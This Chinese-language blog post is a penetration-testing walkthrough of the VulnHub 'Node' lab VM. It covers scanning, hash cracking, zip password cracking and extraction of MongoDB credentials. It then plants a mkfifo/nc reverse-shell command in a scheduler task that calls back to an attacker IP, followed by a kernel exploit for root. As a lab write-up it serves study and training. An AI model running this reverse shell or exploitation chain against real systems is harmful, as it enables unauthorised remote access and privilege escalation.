渗透测试--vulhub-node

安装过程

首先去官网下载node,下载mirror版本

https://www.vulnhub.com/entry/node-1,252/

然后直接创建个文件夹,VMvare导入node。

配置网络:

在vm中的编辑一栏打开虚拟网络编辑器

image-20220315155434533

打开那个更改设置,添加一个网络

最后需要在nodekali配置一个网卡,记住都要配置一个。

image-20220315155537675

kaliifconfig命令,网络配置成功

image-20220315155919645

信息收集

arp-scan扫描,获取同一个网段的可打开的主机。

arp-scan 用来发现系统和指纹识别的命令行工具

image-20220315160341577

发现192.168.79.128192.168.79.254

ping一下,128的主机存活。

image-20220315160510689

使用nmap对端口进行探测,探测出来22,3000端口打开

image-20220315162134405

获取详细的banner信息,3000,端口有用

image-20220315162344765

访问3000端口

image-20220315162801947

该web界面使用node.js编写,通过审计js源码,在“assets/js/app/controllers/home.js”这个文件中可以获取到存储敏感信息的位置/api/users/latest/ ,访问该位置

使用hash-identifier判断加密方式,为SHA-256,如下图所示:

image-20220315164112909

网上找工具解码:

img

使用任意一个口令登录,登陆后如下图所示,但是没有其他的东西了。

image-20220315164607904

这里面说Only admin users have access to the control panel currently, but check back soon to test the standard user functionality!只有管理员用户才能访问这个界面,猜想应该还有另外的管理员帐号,直接访问/api/users/ 获取到了另外一个用户

image-20220315164418596解出该用户的密码(manchester)后,登录可以下载该网站的备份源码,如下图所示

image-20220315164819473

代码审计

下载备份,看到文件内容是base64加密

image-20220315193639096

对文件进行解码

使用base64 -d 解码输出一个文件内

base64 -d myplace.backup > myplace

将文件打开看了一下,是乱码,file看一下文件类型是zip压缩包image-20220315193951427

发现是个加密文件,需要先进行破解,可以使用kali自带工具fcrackzip进行破解zip加密文件,该工具支持暴力破解和字典猜解两种方式

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip

参数描述
-D指定方式为字典猜解
-p指定猜解字典的路径
-u表示只显示破解出来的密码,其他错误的密码不显示出

image-20220315194159083

输入密码,解压出源代码

image-20220315195033394

发现很多目录,因为是nodejs,所有看下他的app.js

image-20210821180335719

看到了mongodb的账号和密码,也许可以登录

账户:mark      密码:5AYRft73VtFpc84k

登录服务器

利用ssh,进行远程登录mongodb

ssh:Secure Shell(安全外壳协议,简称SSH)是一种加密的网络传输协议,可在不安全的网络中为网络服务提供安全的传输环境。 SSH通过在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。 SSH最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面和远程执行命令

形式:

ssh 用户名@服务器ip地址 -p 端口号

image-20220315200438931

登录成功。但当前用户(mark)没有root权限,需要进行提权操作

image-20220315200610579

也可以登录mongo数据库

1611502574_600d93ee2384f6b78a7c0.png!small?1611502574567

这儿可以执行命令

连接MongoDB,进去scheduler数据库

mongo -u mark -p 5AYRft73VtFpc84k scheduler

image-20220315205041094

反弹shell

db.tasks.insert({cmd:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.79.129 888 >/tmp/f"});

image-20220315205147421

成功。

提权

一般提权都是内核提权,这儿我们先确定当前系统的内核版本和系统版本

image-20220315202109830

命令描述
lsb-release查看发行的系统版本信息
arch机器的体系架构

通过查看版本信息,使用searchsploit(漏洞查询工具) 查找,可以知道该内核版本存在漏洞可以直接提权,如下图所示

image-20220315202210011

有exp,我们使用scp命令(远程文件拷贝)将payload上传至靶机

scp /usr/share/exploitdb/exploits/linux/local/44298.c mark@192.168.79.128:/tmp/

image-20220315202253657

开始提权

image-20220315202441758

成功提权为root

总结:

  1. 会利用namp和arp-scan对端口和ip地址进行扫描
  2. 得到web页面,就类似于CTF题,找突破口
  3. 然后ssh远程连接数据库服务器
  4. 利用服务器内核漏洞进行提权

参考:

https://xz.aliyun.com/t/2695

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值